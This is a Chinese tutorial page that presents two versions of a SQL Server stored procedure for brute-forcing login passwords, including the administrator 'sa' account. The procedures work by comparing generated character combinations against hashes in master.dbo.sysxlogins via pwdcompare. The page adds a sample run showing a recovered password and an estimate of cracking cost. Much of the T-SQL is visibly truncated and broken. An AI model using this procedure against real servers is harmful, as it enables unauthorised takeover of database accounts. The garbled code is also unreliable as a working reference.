就业数据资源平台
当前位置:首页 > 数据库技术
计算机三级SQL语言:破解MSSQL的SA密码

  代码演示暴力破解MSSQL的帐号和密码,包括治理员帐号sa的密码。
  有这样一篇文章“一个SQL Server Sa密码破解的存储过程”:方法就是暴力破解MSSQL的帐号和密码,包括治理员帐号sa的密码,下面对其它的代码稍做修改,并进行了一些性能分析。
  首先说说破解过程序核心思想,就是存储帐号密码的master.dbo.sysxlogins表和未公布的密码比较存储过程pwdcompare。经过一方分析,修改了部分代码,下面贴出修改前后的代码,
  一个SQL Server Sa密码破解的存储过程
  alter proc p_GetPassword
  @username sysname=null, --用户名,假如不指定,则列出所有用户
  @pwdlen int=2 --要破解的密码的位数,默认是2位及以下的
  as
  set @pwdlen=case when isnull1 then 1 else @pwdlen-1 end
  select top 255 id=identity into #t from syscolumns
  alter table #t add constraint PK_#t primary key
  select name,password
  ,type=case when xstatus2048=2048 then 1 else 0 end
  ,jm=case when password is null then 1 else 0 end
  ,pwdstr=cast
  ,pwd=cast)
  into #pwd
  from master.dbo.sysxlogins a
  where srvid is null
  and name=isnull
  declare @s1 varchar,@s2 varchar,@s3 varchar
  declare @l int
  select @l=0
  ,@s1=’char’
  ,@s2=’cast’
  ,@s3=’,#t aa’
  exec=1
  ’)
  while exists
  begin
  select @l=@l+1
  ,@s1=@s1+’+char+char+’.id)’
  ,@s2=@s2+’+’’,’’+cast+char+’.id as varchar)’
  ,@s3=@s3+’,#t ’+char+char
  exec=1
  ’)
  end
  select 用户名=name,密码=pwdstr,密码ASCII=pwd
  from #pwd
  GO
  下面是我修改后的代码:
  修改后的SQL Server Sa密码破解的存储过程
  alter proc p_GetPassword2
  @username sysname=null, --用户名,假如不指定,则列出所有用户
  @pwdlen int=2 --要破解的密码的位数,默认是2位及以下的
  as
  set nocount on
  if object_id is not null
  drop table #t
  if object_id is not null
  drop table #pwd
  set @pwdlen=case when isnull1 then 1 else @pwdlen-1 end
  declare @ss varchar
  --select @ss= ’123456789’
  select @ss=  ’abcdefghijklmnopqrstuvwxyz’
  select @ss=@ss+ ’`0123456789-=;,./’
  select @ss=@ss+ ’~!@#$%^_+:?’
  --select @ss=@ss+  ’ABCDEFGHIJKLMNOPQRSTUVWXYZ’
  create table #t not null)
  alter table #t add constraint PK_#t primary key CLUSTERED
  declare @index int
  select @index=1
  while )
  begin
  insert #t select SUBSTRING
  select @index = @index +1
  end
  select name,password
  ,type=case when xstatus2048=2048 then 1 else 0 end
  ,jm=case when password is null then 1 else 0 end
  ,pwdstr=cast
  ,pwd=cast)
  ,times =cast)
  into #pwd
  from master.dbo.sysxlogins a
  where srvid is null
  and name=isnull
  declare @s1 varchar,@s2 varchar,@s3 varchar, @stimes varchar
  declare @l int, @t bigint
  select @t = countPOWER,1) from #pwd
  select @l=0
  ,@s1=’aa.c’
  ,@s2=’cast as varchar)’
  ,@s3=’,#t aa’
  ,@stimes=’1th,’ + cast) + ’rows’
  exec=1
  ’)
  while exists
  begin
  select @l=@l+1
  select @t = countPOWER,@l+1) from #pwd
  print @t
  select
  @s1=@s1+’+’+char+char+’.c’
  ,@s2=@s2+’+’’,’’+cast+char+’.c) as varchar)’
  ,@s3=@s3+’,#t ’+char+char
  ,@stimes=@stimes+’;’+ cast) + ’th,’ + cast) + ’rows’
  exec=1
  ’)
  end
  select 用户名=name,密码=pwdstr,密码ASCII=pwd, 查询次数和行数=times
  from #pwd
  if object_id is not null
  drop table #t
  if object_id is not null
  drop table #pwd
  我测试如下
  p_GetPassword2 ’b’, 6 用户名密码密码ASCII查询次数和行数b12349,50,511th,66rows;2th,4356rows;3th,287496rows性能分析:
  本例以一个查询能查询bigint的最大值条记录9223372036854775807为限做为主机最大性能,来粗略计算破解性能。
  破解一个帐号的密码长度,破解时间和性能消耗,是以所有用于破解的字符长度为底,以密码长度为指数的指数函数,即:破解帐号个数(所有用于破解的字符个数)最长密码长度次方 主机最大性能:
  原存储过程使用256个破解字符,理论上可以破解7位密码,即2567Max。
  我修改的存储过程使用66个键盘常规字符,理论上可以破解10位密码,即6610Max。
  假如知道密码是10个数字字符的组合,理论上可以破解19位密码,即1019Max。
就业数据资源平台